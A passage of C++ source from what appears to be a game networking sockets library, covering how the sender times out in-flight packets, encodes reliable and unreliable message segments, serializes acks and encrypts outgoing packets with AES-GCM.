m_senderState.m_listInFlightReliableRange.erase( inFlightRange ); } } SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_SenderCheckInFlightPackets( SteamNetworkingMicroseconds usecNow ) { // Fast path for nothing in flight. m_senderState.MaybeCheckInFlightPacketMap(); if ( m_senderState.m_mapInFlightPacketsByPktNum.size() <= 1 ) { Assert( m_senderState.m_itNextInFlightPacketToTimeout == m_senderState.m_mapInFlightPacketsByPktNum.end() ); return k_nThinkTime_Never; } Assert( m_senderState.m_mapInFlightPacketsByPktNum.begin()->first < 0 ); SteamNetworkingMicroseconds usecNextRetry = k_nThinkTime_Never; // Process retry timeout. Here we use a shorter timeout to trigger retry // than we do to totally forgot about the packet, in case an ack comes in late, // we can take advantage of it. SteamNetworkingMicroseconds usecRTO = m_statsEndToEnd.CalcSenderRetryTimeout(); while ( m_senderState.m_itNextInFlightPacketToTimeout != m_senderState.m_mapInFlightPacketsByPktNum.end() ) { Assert( m_senderState.m_itNextInFlightPacketToTimeout->first > 0 ); // If already nacked, then no use waiting on it, just skip it if ( !m_senderState.m_itNextInFlightPacketToTimeout->second.m_bNack ) { // Not yet time to give up? SteamNetworkingMicroseconds usecRetryPkt = m_senderState.m_itNextInFlightPacketToTimeout->second.m_usecWhenSent + usecRTO; if ( usecRetryPkt > usecNow ) { usecNextRetry = usecRetryPkt; break; } // Mark as dropped, and move any reliable contents into the // retry list. SNP_SenderProcessPacketNack( m_senderState.m_itNextInFlightPacketToTimeout->first, m_senderState.m_itNextInFlightPacketToTimeout->second, "AckTimeout" ); } // Advance to next packet waiting to timeout ++m_senderState.m_itNextInFlightPacketToTimeout; } // Skip the sentinel auto inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.begin(); Assert( inFlightPkt->first < 0 ); ++inFlightPkt; // Expire old packets (all of these should have been marked as nacked) SteamNetworkingMicroseconds usecWhenExpiry = usecNow - usecRTO*2; for (;;) { if ( inFlightPkt->second.m_usecWhenSent > usecWhenExpiry ) break; // Should have already been timed out by the code above Assert( inFlightPkt->second.m_bNack ); Assert( inFlightPkt != m_senderState.m_itNextInFlightPacketToTimeout ); // Expire it, advance to the next one inFlightPkt = m_senderState.m_mapInFlightPacketsByPktNum.erase( inFlightPkt ); Assert( !m_senderState.m_mapInFlightPacketsByPktNum.empty() ); // Bail if we've hit the end of the nacks if ( inFlightPkt == m_senderState.m_mapInFlightPacketsByPktNum.end() ) break; } // Make sure we didn't hose data structures m_senderState.MaybeCheckInFlightPacketMap(); // Return time when we really need to check back in again. // We don't wake up early just to expire old nacked packets, // there is no urgency or value in doing that, we can clean // those up whenever. We only make sure and wake up when we // need to retry. (And we need to make sure we don't let // our list of old packets grow unnecessarily long.) return usecNextRetry; } struct EncodedSegment { static constexpr int k_cbMaxHdr = 16; uint8 m_hdr[ k_cbMaxHdr ]; int m_cbHdr; // Doesn't include any size byte CSteamNetworkingMessage *m_pMsg; int m_cbSegSize; int m_nOffset; inline void SetupReliable( CSteamNetworkingMessage *pMsg, int64 nBegin, int64 nEnd, int64 nLastReliableStreamPosEnd ) { Assert( nBegin < nEnd ); //Assert( nBegin + k_cbSteamNetworkingSocketsMaxReliableMessageSegment >= nEnd ); // Max sure we don't exceed max segment size Assert( pMsg->SNPSend_IsReliable() ); // Start filling out the header with the top three bits = 010, // identifying this as a reliable segment uint8 *pHdr = m_hdr; *(pHdr++) = 0x40; // First reliable segment in the message? if ( nLastReliableStreamPosEnd == 0 ) { // Always use 48-byte offsets, to make sure we are exercising the worst case. // Later we should optimize this m_hdr[0] |= 0x10; *(uint16*)pHdr = LittleWord( uint16( nBegin ) ); pHdr += 2; *(uint32*)pHdr = LittleDWord( uint32( nBegin>>16 ) ); pHdr += 4; } else { // Offset from end of previous reliable segment in the same packet Assert( nBegin >= nLastReliableStreamPosEnd ); int64 nOffset = nBegin - nLastReliableStreamPosEnd; if ( nOffset == 0) { // Nothing to encode } else if ( nOffset < 0x100 ) { m_hdr[0] |= (1<<3); *pHdr = uint8( nOffset ); pHdr += 1; } else if ( nOffset < 0x10000 ) { m_hdr[0] |= (2<<3); *(uint16*)pHdr = LittleWord( uint16( nOffset ) ); pHdr += 2; } else { m_hdr[0] |= (3<<3); *(uint32*)pHdr = LittleDWord( uint32( nOffset ) ); pHdr += 4; } } m_cbHdr = pHdr-m_hdr; // Size of the segment. We assume that the whole things fits for now, // even though it might need to get truncated int cbSegData = nEnd - nBegin; Assert( cbSegData > 0 ); Assert( nBegin >= pMsg->SNPSend_ReliableStreamPos() ); Assert( nEnd <= pMsg->SNPSend_ReliableStreamPos() + pMsg->m_cbSize ); m_pMsg = pMsg; m_nOffset = nBegin - pMsg->SNPSend_ReliableStreamPos(); m_cbSegSize = cbSegData; } inline void SetupUnreliable( CSteamNetworkingMessage *pMsg, int nOffset, int64 nLastMsgNum ) { // Start filling out the header with the top two bits = 00, // identifying this as an unreliable segment uint8 *pHdr = m_hdr; *(pHdr++) = 0x00; // Encode message number. First unreliable message? if ( nLastMsgNum == 0 ) { // Just always encode message number with 32 bits for now, // to make sure we are hitting the worst case. We can optimize this later *(uint32*)pHdr = LittleDWord( (uint32)pMsg->m_nMessageNumber ); pHdr += 4; m_hdr[0] |= 0x10; } else { // Subsequent unreliable message Assert( pMsg->m_nMessageNumber > nLastMsgNum ); uint64 nDelta = pMsg->m_nMessageNumber - nLastMsgNum; if ( nDelta == 1 ) { // Common case of sequential messages. Don't encode any offset } else { pHdr = SerializeVarInt( pHdr, nDelta, m_hdr+k_cbMaxHdr ); Assert( pHdr ); // Overflow shouldn't be possible m_hdr[0] |= 0x10; } } // Encode segment offset within message, except in the special common case of the first segment if ( nOffset > 0 ) { pHdr = SerializeVarInt( pHdr, (uint32)( nOffset ), m_hdr+k_cbMaxHdr ); Assert( pHdr ); // Overflow shouldn't be possible m_hdr[0] |= 0x08; } m_cbHdr = pHdr-m_hdr; // Size of the segment. We assume that the whole things fits for now, event hough it might ned to get truncated int cbSegData = pMsg->m_cbSize - nOffset; Assert( cbSegData > 0 || ( cbSegData == 0 && pMsg->m_cbSize == 0 ) ); // We should only send zero-byte segments if the message itself is zero bytes. (Which is legitimate!) m_pMsg = pMsg; m_cbSegSize = cbSegData; m_nOffset = nOffset; } }; template <typename T, typename L> inline bool HasOverlappingRange( const SNPRange_t &range, const std::map<SNPRange_t,T,L> &map ) { auto l = map.lower_bound( range ); if ( l != map.end() ) { Assert( l->first.m_nBegin >= range.m_nBegin ); if ( l->first.m_nBegin < range.m_nEnd ) return true; } auto u = map.upper_bound( range ); if ( u != map.end() ) { Assert( range.m_nBegin < u->first.m_nBegin ); if ( range.m_nEnd > l->first.m_nBegin ) return true; } return false; } bool CSteamNetworkConnectionBase::SNP_SendPacket( CConnectionTransport *pTransport, SendPacketContext_t &ctx ) { // Check calling conditions, and don't crash if ( !BStateIsActive() || m_senderState.m_mapInFlightPacketsByPktNum.empty() || !pTransport ) { Assert( BStateIsActive() ); Assert( !m_senderState.m_mapInFlightPacketsByPktNum.empty() ); Assert( pTransport ); return false; } SteamNetworkingMicroseconds usecNow = ctx.m_usecNow; // Get max size of plaintext we could send. // AES-GCM has a fixed size overhead, for the tag. // FIXME - but what we if we aren't using AES-GCM! int cbMaxPlaintextPayload = std::max( 0, ctx.m_cbMaxEncryptedPayload-k_cbSteamNetwokingSocketsEncrytionTagSize ); cbMaxPlaintextPayload = std::min( cbMaxPlaintextPayload, m_cbMaxPlaintextPayloadSend ); uint8 payload[ k_cbSteamNetworkingSocketsMaxPlaintextPayloadSend ]; uint8 *pPayloadEnd = payload + cbMaxPlaintextPayload; uint8 *pPayloadPtr = payload; int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); SpewVerboseGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber ); // Stop waiting frame pPayloadPtr = SNP_SerializeStopWaitingFrame( pPayloadPtr, pPayloadEnd, usecNow ); if ( pPayloadPtr == nullptr ) return false; // Get list of ack blocks we might want to serialize, and which // of those acks we really want to flush out right now. SNPAckSerializerHelper ackHelper; SNP_GatherAckBlocks( ackHelper, usecNow ); #ifdef SNP_ENABLE_PACKETSENDLOG PacketSendLog *pLog = push_back_get_ptr( m_vecSendLog ); pLog->m_usecTime = usecNow; pLog->m_cbPendingReliable = m_senderState.m_cbPendingReliable; pLog->m_cbPendingUnreliable = m_senderState.m_cbPendingUnreliable; pLog->m_nPacketGaps = len( m_receiverState.m_mapPacketGaps )-1; pLog->m_nAckBlocksNeeded = ackHelper.m_nBlocksNeedToAck; pLog->m_nPktNumNextPendingAck = m_receiverState.m_itPendingAck->first; pLog->m_usecNextPendingAckTime = m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior; pLog->m_fltokens = m_senderState.m_flTokenBucket; pLog->m_nMaxPktRecv = m_statsEndToEnd.m_nMaxRecvPktNum; pLog->m_nMinPktNumToSendAcks = m_receiverState.m_nMinPktNumToSendAcks; pLog->m_nReliableSegmentsRetry = 0; pLog->m_nSegmentsSent = 0; #endif // How much space do we need to reserve for acks? int cbReserveForAcks = 0; if ( m_statsEndToEnd.m_nMaxRecvPktNum > 0 ) { int cbPayloadRemainingForAcks = pPayloadEnd - pPayloadPtr; if ( cbPayloadRemainingForAcks >= SNPAckSerializerHelper::k_cbHeaderSize ) { cbReserveForAcks = SNPAckSerializerHelper::k_cbHeaderSize; int n = 3; // Assume we want to send a handful n = std::max( n, ackHelper.m_nBlocksNeedToAck ); // But if we have blocks that need to be flushed now, try to fit all of them n = std::min( n, ackHelper.m_nBlocks ); // Cannot send more than we actually have while ( n > 0 ) { --n; if ( ackHelper.m_arBlocks[n].m_cbTotalEncodedSize <= cbPayloadRemainingForAcks ) { cbReserveForAcks = ackHelper.m_arBlocks[n].m_cbTotalEncodedSize; break; } } } } // Check if we are actually going to send data in this packet if ( m_senderState.m_flTokenBucket < 0.0 // No bandwidth available. (Presumably this is a relatively rare out-of-band connectivity check, etc) FIXME should we use a different token bucket per transport? || !BStateIsConnectedForWirePurposes() // not actually in a connection stats where we should be sending real data yet || pTransport != m_pTransport // transport is not the selected transport ) { // Serialize some acks, if we want to if ( cbReserveForAcks > 0 ) { // But if we're going to send any acks, then try to send as many // as possible, not just the bare minimum. pPayloadPtr = SNP_SerializeAckBlocks( ackHelper, pPayloadPtr, pPayloadEnd, usecNow ); if ( pPayloadPtr == nullptr ) return false; // bug! Abort // We don't need to serialize any more acks cbReserveForAcks = 0; } // Truncate the buffer, don't try to fit any data // !SPEED! - instead of doing this, we could just put all of the segment code below // in an else() block. pPayloadEnd = pPayloadPtr; } int64 nLastReliableStreamPosEnd = 0; int cbBytesRemainingForSegments = pPayloadEnd - pPayloadPtr - cbReserveForAcks; vstd::small_vector<EncodedSegment,8> vecSegments; // If we need to retry any reliable data, then try to put that in first. // Bail if we only have a tiny sliver of data left while ( !m_senderState.m_listReadyRetryReliableRange.empty() && cbBytesRemainingForSegments > 2 ) { auto h = m_senderState.m_listReadyRetryReliableRange.begin(); // Start a reliable segment EncodedSegment &seg = *push_back_get_ptr( vecSegments ); seg.SetupReliable( h->second, h->first.m_nBegin, h->first.m_nEnd, nLastReliableStreamPosEnd ); int cbSegTotalWithoutSizeField = seg.m_cbHdr + seg.m_cbSegSize; if ( cbSegTotalWithoutSizeField > cbBytesRemainingForSegments ) { // This one won't fit. vecSegments.pop_back(); // FIXME If there's a decent amount of space left in this packet, it might // be worthwhile to send what we can. Right now, once we send a reliable range, // we always retry exactly that range. The only complication would be when we // receive an ack, we would need to be aware that the acked ranges might not // exactly match up with the ranges that we sent. Actually this shouldn't // be that big of a deal. But for now let's always retry the exact ranges that // things got chopped up during the initial send. // This should only happen if we have already fit some data in, or // the caller asked us to see what we could squeeze into a smaller // packet, or we need to serialized a bunch of acks. If this is an // opportunity to fill a normal packet and we fail on the first segment, // we will never make progress and we are hosed! AssertMsg2( nLastReliableStreamPosEnd > 0 || cbMaxPlaintextPayload < m_cbMaxPlaintextPayloadSend || ( cbReserveForAcks > 15 && ackHelper.m_nBlocksNeedToAck > 8 ), "We cannot fit reliable segment, need %d bytes, only %d remaining", cbSegTotalWithoutSizeField, cbBytesRemainingForSegments ); // Don't try to put more stuff in the packet, even if we have room. We're // already having to retry, so this data is already delayed. If we skip ahead // and put more into this packet, that's just extending the time until we can send // the next packet. break; } // If we only have a sliver left, then don't try to fit any more. cbBytesRemainingForSegments -= cbSegTotalWithoutSizeField; nLastReliableStreamPosEnd = h->first.m_nEnd; // Assume for now this won't be the last segment, in which case we will also need // the byte for the size field. // NOTE: This might cause cbPayloadBytesRemaining to go negative by one! I know // that seems weird, but it actually keeps the logic below simpler. cbBytesRemainingForSegments -= 1; // Remove from retry list. (We'll add to the in-flight list later) m_senderState.m_listReadyRetryReliableRange.erase( h ); #ifdef SNP_ENABLE_PACKETSENDLOG ++pLog->m_nReliableSegmentsRetry; #endif } // Did we retry everything we needed to? If not, then don't try to send new stuff, // before we send those retries. if ( m_senderState.m_listReadyRetryReliableRange.empty() ) { // OK, check the outgoing messages, and send as much stuff as we can cram in there int64 nLastMsgNum = 0; while ( cbBytesRemainingForSegments > 4 ) { if ( m_senderState.m_messagesQueued.empty() ) { m_senderState.m_cbCurrentSendMessageSent = 0; break; } CSteamNetworkingMessage *pSendMsg = m_senderState.m_messagesQueued.m_pFirst; Assert( m_senderState.m_cbCurrentSendMessageSent < pSendMsg->m_cbSize ); // Start a new segment EncodedSegment &seg = *push_back_get_ptr( vecSegments ); // Reliable? bool bLastSegment = false; if ( pSendMsg->SNPSend_IsReliable() ) { // FIXME - Coalesce adjacent reliable messages ranges int64 nBegin = pSendMsg->SNPSend_ReliableStreamPos() + m_senderState.m_cbCurrentSendMessageSent; // How large would we like this segment to be, // ignoring how much space is left in the packet. // We limit the size of reliable segments, to make // sure that we don't make an excessively large // one and then have a hard time retrying it later. int cbDesiredSegSize = pSendMsg->m_cbSize - m_senderState.m_cbCurrentSendMessageSent; if ( cbDesiredSegSize > m_cbMaxReliableMessageSegment ) { cbDesiredSegSize = m_cbMaxReliableMessageSegment; bLastSegment = true; } int64 nEnd = nBegin + cbDesiredSegSize; seg.SetupReliable( pSendMsg, nBegin, nEnd, nLastReliableStreamPosEnd ); // If we encode subsequent nLastReliableStreamPosEnd = nEnd; } else { seg.SetupUnreliable( pSendMsg, m_senderState.m_cbCurrentSendMessageSent, nLastMsgNum ); } // Can't fit the whole thing? if ( bLastSegment || seg.m_cbHdr + seg.m_cbSegSize > cbBytesRemainingForSegments ) { // Check if we have enough room to send anything worthwhile. // Don't send really tiny silver segments at the very end of a packet. That sort of fragmentation // just makes it more likely for something to drop. Our goal is to reduce the number of packets // just as much as the total number of bytes, so if we're going to have to send another packet // anyway, don't send a little sliver of a message at the beginning of a packet // We need to finish the header by this point if we're going to send anything int cbMinSegDataSizeToSend = std::min( 16, seg.m_cbSegSize ); if ( seg.m_cbHdr + cbMinSegDataSizeToSend > cbBytesRemainingForSegments ) { // Don't send this segment now. vecSegments.pop_back(); break; } #ifdef SNP_ENABLE_PACKETSENDLOG ++pLog->m_nSegmentsSent; #endif // Truncate, and leave the message in the queue seg.m_cbSegSize = std::min( seg.m_cbSegSize, cbBytesRemainingForSegments - seg.m_cbHdr ); m_senderState.m_cbCurrentSendMessageSent += seg.m_cbSegSize; Assert( m_senderState.m_cbCurrentSendMessageSent < pSendMsg->m_cbSize ); cbBytesRemainingForSegments -= seg.m_cbHdr + seg.m_cbSegSize; break; } // The whole message fit (perhaps exactly, without the size byte) // Reset send pointer for the next message Assert( m_senderState.m_cbCurrentSendMessageSent + seg.m_cbSegSize == pSendMsg->m_cbSize ); m_senderState.m_cbCurrentSendMessageSent = 0; // Remove message from queue,w e have transfered ownership to the segment and will // dispose of the message when we serialize the segments m_senderState.m_messagesQueued.pop_front(); // Consume payload bytes cbBytesRemainingForSegments -= seg.m_cbHdr + seg.m_cbSegSize; // Assume for now this won't be the last segment, in which case we will also need the byte for the size field. // NOTE: This might cause cbPayloadBytesRemaining to go negative by one! I know that seems weird, but it actually // keeps the logic below simpler. cbBytesRemainingForSegments -= 1; // Update various accounting, depending on reliable or unreliable if ( pSendMsg->SNPSend_IsReliable() ) { // Reliable segments advance the current message number. // NOTE: If we coalesce adjacent reliable segments, this will probably need to be adjusted if ( nLastMsgNum > 0 ) ++nLastMsgNum; // Go ahead and add us to the end of the list of unacked messages m_senderState.m_unackedReliableMessages.push_back( seg.m_pMsg ); } else { nLastMsgNum = pSendMsg->m_nMessageNumber; // Set the "This is the last segment in this message" header bit seg.m_hdr[0] |= 0x20; } } } // Now we know how much space we need for the segments. If we asked to reserve // space for acks, we should have at least that much. But we might have more. // Serialize acks, as much as will fit. If we are badly fragmented and we have // the space, it's better to keep sending acks over and over to try to clear // it out as fast as possible. if ( cbReserveForAcks > 0 ) { // If we didn't use all the space for data, that's more we could use for acks int cbAvailForAcks = cbReserveForAcks; if ( cbBytesRemainingForSegments > 0 ) cbAvailForAcks += cbBytesRemainingForSegments; uint8 *pAckEnd = pPayloadPtr + cbAvailForAcks; Assert( pAckEnd <= pPayloadEnd ); uint8 *pAfterAcks = SNP_SerializeAckBlocks( ackHelper, pPayloadPtr, pAckEnd, usecNow ); if ( pAfterAcks == nullptr ) return false; // bug! Abort int cbAckBytesWritten = pAfterAcks - pPayloadPtr; if ( cbAckBytesWritten > cbReserveForAcks ) { // We used more space for acks than was strictly reserved. // Update space remaining for data segments. We should have the room! cbBytesRemainingForSegments -= ( cbAckBytesWritten - cbReserveForAcks ); Assert( cbBytesRemainingForSegments >= -1 ); // remember we might go over by one byte } else { Assert( cbAckBytesWritten == cbReserveForAcks ); // The code above reserves space very carefuly. So if we reserve it, we should fill it! } pPayloadPtr = pAfterAcks; } // We are gonna send a packet. Start filling out an entry so that when it's acked (or nacked) // we can know what to do. Assert( m_senderState.m_mapInFlightPacketsByPktNum.lower_bound( m_statsEndToEnd.m_nNextSendSequenceNumber ) == m_senderState.m_mapInFlightPacketsByPktNum.end() ); std::pair<int64,SNPInFlightPacket_t> pairInsert( m_statsEndToEnd.m_nNextSendSequenceNumber, SNPInFlightPacket_t{ usecNow, false, pTransport, {} } ); SNPInFlightPacket_t &inFlightPkt = pairInsert.second; // We might have gone over exactly one byte, because we counted the size byte of the last // segment, which doesn't actually need to be sent Assert( cbBytesRemainingForSegments >= 0 || ( cbBytesRemainingForSegments == -1 && vecSegments.size() > 0 ) ); // OK, now go through and actually serialize the segments int nSegments = len( vecSegments ); for ( int idx = 0 ; idx < nSegments ; ++idx ) { EncodedSegment &seg = vecSegments[ idx ]; // Check if this message is still sitting in the queue. (If so, it has to be the first one!) bool bStillInQueue = ( seg.m_pMsg == m_senderState.m_messagesQueued.m_pFirst ); // Finish the segment size byte if ( idx < nSegments-1 ) { // Stash upper 3 bits into the header int nUpper3Bits = ( seg.m_cbSegSize>>8 ); Assert( nUpper3Bits <= 4 ); // The values 5 and 6 are reserved and shouldn't be needed due to the MTU we support seg.m_hdr[0] |= nUpper3Bits; // And the lower 8 bits follow the other fields seg.m_hdr[ seg.m_cbHdr++ ] = uint8( seg.m_cbSegSize ); } else { // Set "no explicit size field included, segment extends to end of packet" seg.m_hdr[0] |= 7; } // Double-check that we didn't overflow Assert( seg.m_cbHdr <= seg.k_cbMaxHdr ); // Copy the header memcpy( pPayloadPtr, seg.m_hdr, seg.m_cbHdr ); pPayloadPtr += seg.m_cbHdr; Assert( pPayloadPtr+seg.m_cbSegSize <= pPayloadEnd ); // Reliable? if ( seg.m_pMsg->SNPSend_IsReliable() ) { // We should never encode an empty range of the stream, that is worthless. // (Even an empty reliable message requires some framing in the stream.) Assert( seg.m_cbSegSize > 0 ); // Copy the unreliable segment into the packet. Does the portion we are serializing // begin in the header? if ( seg.m_nOffset < seg.m_pMsg->m_cbSNPSendReliableHeader ) { int cbCopyHdr = std::min( seg.m_cbSegSize, seg.m_pMsg->m_cbSNPSendReliableHeader - seg.m_nOffset ); memcpy( pPayloadPtr, seg.m_pMsg->SNPSend_ReliableHeader() + seg.m_nOffset, cbCopyHdr ); pPayloadPtr += cbCopyHdr; int cbCopyBody = seg.m_cbSegSize - cbCopyHdr; if ( cbCopyBody > 0 ) { memcpy( pPayloadPtr, seg.m_pMsg->m_pData, cbCopyBody ); pPayloadPtr += cbCopyBody; } } else { // This segment is entirely from the message body memcpy( pPayloadPtr, (char*)seg.m_pMsg->m_pData + seg.m_nOffset - seg.m_pMsg->m_cbSNPSendReliableHeader, seg.m_cbSegSize ); pPayloadPtr += seg.m_cbSegSize; } // Remember that this range is in-flight SNPRange_t range; range.m_nBegin = seg.m_pMsg->SNPSend_ReliableStreamPos() + seg.m_nOffset; range.m_nEnd = range.m_nBegin + seg.m_cbSegSize; // Ranges of the reliable stream that have not been acked should either be // in flight, or queued for retry. Make sure this range is not already in // either state. Assert( !HasOverlappingRange( range, m_senderState.m_listInFlightReliableRange ) ); Assert( !HasOverlappingRange( range, m_senderState.m_listReadyRetryReliableRange ) ); // Spew SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld reliable msg %lld offset %d+%d=%d range [%lld,%lld)\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)seg.m_pMsg->m_nMessageNumber, seg.m_nOffset, seg.m_cbSegSize, seg.m_nOffset+seg.m_cbSegSize, (long long)range.m_nBegin, (long long)range.m_nEnd ); // Add to table of in-flight reliable ranges m_senderState.m_listInFlightReliableRange[ range ] = seg.m_pMsg; // Remember that this packet contained that range inFlightPkt.m_vecReliableSegments.push_back( range ); // Less reliable data pending m_senderState.m_cbPendingReliable -= seg.m_cbSegSize; Assert( m_senderState.m_cbPendingReliable >= 0 ); } else { // We should only encode an empty segment if the message itself is empty Assert( seg.m_cbSegSize > 0 || ( seg.m_cbSegSize == 0 && seg.m_pMsg->m_cbSize == 0 ) ); // Check some stuff Assert( bStillInQueue == ( seg.m_nOffset + seg.m_cbSegSize < seg.m_pMsg->m_cbSize ) ); // If we ended the message, we should have removed it from the queue Assert( bStillInQueue == ( ( seg.m_hdr[0] & 0x20 ) == 0 ) ); Assert( bStillInQueue || seg.m_pMsg->m_links.m_pNext == nullptr ); // If not in the queue, we should be detached Assert( seg.m_pMsg->m_links.m_pPrev == nullptr ); // We should either be at the head of the queue, or detached // Copy the unreliable segment into the packet memcpy( pPayloadPtr, (char*)seg.m_pMsg->m_pData + seg.m_nOffset, seg.m_cbSegSize ); pPayloadPtr += seg.m_cbSegSize; // Spew SpewDebugGroup( nLogLevelPacketDecode, "[%s] encode pkt %lld unreliable msg %lld offset %d+%d=%d\n", GetDescription(), (long long)m_statsEndToEnd.m_nNextSendSequenceNumber, (long long)seg.m_pMsg->m_nMessageNumber, seg.m_nOffset, seg.m_cbSegSize, seg.m_nOffset+seg.m_cbSegSize ); // Less unreliable data pending m_senderState.m_cbPendingUnreliable -= seg.m_cbSegSize; Assert( m_senderState.m_cbPendingUnreliable >= 0 ); // Done with this message? Clean up if ( !bStillInQueue ) seg.m_pMsg->Release(); } } // One last check for overflow Assert( pPayloadPtr <= pPayloadEnd ); int cbPlainText = pPayloadPtr - payload; if ( cbPlainText > cbMaxPlaintextPayload ) { AssertMsg1( false, "Payload exceeded max size of %d\n", cbMaxPlaintextPayload ); return 0; } // OK, we have a plaintext payload. Encrypt and send it. // What cipher are we using? int nBytesSent = 0; switch ( m_eNegotiatedCipher ) { default: AssertMsg1( false, "Bogus cipher %d", m_eNegotiatedCipher ); break; case k_ESteamNetworkingSocketsCipher_NULL: { // No encryption! // Ask current transport to deliver it nBytesSent = pTransport->SendEncryptedDataChunk( payload, cbPlainText, ctx ); } break; case k_ESteamNetworkingSocketsCipher_AES_256_GCM: { Assert( m_bCryptKeysValid ); // Adjust the IV by the packet number *(uint64 *)&m_cryptIVSend.m_buf += LittleQWord( m_statsEndToEnd.m_nNextSendSequenceNumber ); // Encrypt the chunk uint8 arEncryptedChunk[ k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend + 64 ]; // Should not need pad uint32 cbEncrypted = sizeof(arEncryptedChunk); DbgVerify( m_cryptContextSend.Encrypt( payload, cbPlainText, // plaintext m_cryptIVSend.m_buf, // IV arEncryptedChunk, &cbEncrypted, // output nullptr, 0 // no AAD ) ); //SpewMsg( "Send encrypt IV %llu + %02x%02x%02x%02x encrypted %d %02x%02x%02x%02x\n", // *(uint64 *)&m_cryptIVSend.m_buf, // m_cryptIVSend.m_buf[8], m_cryptIVSend.m_buf[9], m_cryptIVSend.m_buf[10], m_cryptIVSend.m_buf[11], // cbEncrypted, // arEncryptedChunk[0], arEncryptedChunk[1], arEncryptedChunk[2],arEncryptedChunk[3] //); // Restore the IV to the base value *(uint64 *)&m_cryptIVSend.m_buf -= LittleQWord( m_statsEndToEnd.m_nNextSendSequenceNumber ); Assert( (int)cbEncrypted >= cbPlainText ); Assert( (int)cbEncrypted <= k_cbSteamNetworkingSocketsMaxEncryptedPayloadSend ); // confirm that pad above was not necessary and we never exceed k_nMaxSteamDatagramTransportPayload, even after encrypting // Ask current transport to deliver it nBytesSent = pTransport->SendEncryptedDataChunk( arEncryptedChunk, cbEncrypted, ctx ); } } if ( nBytesSent <= 0 ) return false; // We sent a packet. Track it auto pairInsertResult = m_senderState.m_mapInFlightPacketsByPktNum.insert( pairInsert ); Assert( pairInsertResult.second ); // We should have inserted a new element, not updated an existing element // If we sent any reliable data, we should expect a reply if ( !inFlightPkt.m_vecReliableSegments.empty() ) { m_statsEndToEnd.TrackSentMessageExpectingSeqNumAck( usecNow, true ); // FIXME - should let transport know } // If we aren't already tracking anything to timeout, then this is the next one. if ( m_senderState.m_itNextInFlightPacketToTimeout == m_senderState.m_mapInFlightPacketsByPktNum.end() ) m_senderState.m_itNextInFlightPacketToTimeout = pairInsertResult.first; #ifdef SNP_ENABLE_PACKETSENDLOG pLog->m_cbSent = nBytesSent; #endif // We spent some tokens m_senderState.m_flTokenBucket -= (float)nBytesSent; return true; } void CSteamNetworkConnectionBase::SNP_SentNonDataPacket( CConnectionTransport *pTransport, SteamNetworkingMicroseconds usecNow ) { std::pair<int64,SNPInFlightPacket_t> pairInsert( m_statsEndToEnd.m_nNextSendSequenceNumber-1, SNPInFlightPacket_t{ usecNow, false, pTransport, {} } ); auto pairInsertResult = m_senderState.m_mapInFlightPacketsByPktNum.insert( pairInsert ); Assert( pairInsertResult.second ); // We should have inserted a new element, not updated an existing element. Probably an order ofoperations bug with m_nNextSendSequenceNumber } void CSteamNetworkConnectionBase::SNP_GatherAckBlocks( SNPAckSerializerHelper &helper, SteamNetworkingMicroseconds usecNow ) { helper.m_nBlocks = 0; helper.m_nBlocksNeedToAck = 0; // Fast case for no packet loss we need to ack, which will (hopefully!) be a common case int n = len( m_receiverState.m_mapPacketGaps ) - 1; if ( n <= 0 ) return; // Let's not just flush the acks that are due right now. Let's flush all of them // that will be due any time before we have the bandwidth to send the next packet. // (Assuming that we send the max packet size here.) SteamNetworkingMicroseconds usecSendAcksDueBefore = usecNow; SteamNetworkingMicroseconds usecTimeUntilNextPacket = SteamNetworkingMicroseconds( ( m_senderState.m_flTokenBucket - (float)m_cbMTUPacketSize ) / (float)m_senderState.m_n_x * -1e6 ); if ( usecTimeUntilNextPacket > 0 ) usecSendAcksDueBefore += usecTimeUntilNextPacket; m_receiverState.DebugCheckPackGapMap(); n = std::min( (int)helper.k_nMaxBlocks, n ); auto itNext = m_receiverState.m_mapPacketGaps.begin(); int cbEncodedSize = helper.k_cbHeaderSize; while ( n > 0 ) { --n; auto itCur = itNext; ++itNext; Assert( itCur->first < itCur->second.m_nEnd ); // Do we need to report on this block now? bool bNeedToReport = ( itNext->second.m_usecWhenAckPrior <= usecSendAcksDueBefore ); // Should we wait to NACK this? if ( itCur == m_receiverState.m_itPendingNack ) { // Wait to NACK this? if ( !bNeedToReport ) { if ( usecNow < itCur->second.m_usecWhenOKToNack ) break; bNeedToReport = true; } // Go ahead and NACK it. If the packet arrives, we will use it. // But our NACK may cause the sender to retransmit. ++m_receiverState.m_itPendingNack; } SNPAckSerializerHelper::Block &block = helper.m_arBlocks[ helper.m_nBlocks ]; block.m_nNack = uint32( itCur->second.m_nEnd - itCur->first ); int64 nAckEnd; SteamNetworkingMicroseconds usecWhenSentLast; if ( n == 0 ) { // itNext should be the sentinel Assert( itNext->first == INT64_MAX ); nAckEnd = m_statsEndToEnd.m_nMaxRecvPktNum+1; usecWhenSentLast = m_statsEndToEnd.m_usecTimeLastRecvSeq; } else { nAckEnd = itNext->first; usecWhenSentLast = itNext->second.m_usecWhenReceivedPktBefore; } Assert( itCur->second.m_nEnd < nAckEnd ); block.m_nAck = uint32( nAckEnd - itCur->second.m_nEnd ); block.m_nLatestPktNum = uint32( nAckEnd-1 ); block.m_nEncodedTimeSinceLatestPktNum = SNPAckSerializerHelper::EncodeTimeSince( usecNow, usecWhenSentLast ); // When we encode 7+ blocks, the header grows by one byte // to store an explicit count if ( helper.m_nBlocks == 6 ) ++cbEncodedSize; // This block ++cbEncodedSize; if ( block.m_nAck > 7 ) cbEncodedSize += VarIntSerializedSize( block.m_nAck>>3 ); if ( block.m_nNack > 7 ) cbEncodedSize += VarIntSerializedSize( block.m_nNack>>3 ); block.m_cbTotalEncodedSize = cbEncodedSize; // FIXME Here if the caller knows they are working with limited space, // they could tell us how much space they have and we could bail // if we already know we're over ++helper.m_nBlocks; // Do we really need to try to flush the ack/nack for that block out now? if ( bNeedToReport ) helper.m_nBlocksNeedToAck = helper.m_nBlocks; } } uint8 *CSteamNetworkConnectionBase::SNP_SerializeAckBlocks( const SNPAckSerializerHelper &helper, uint8 *pOut, const uint8 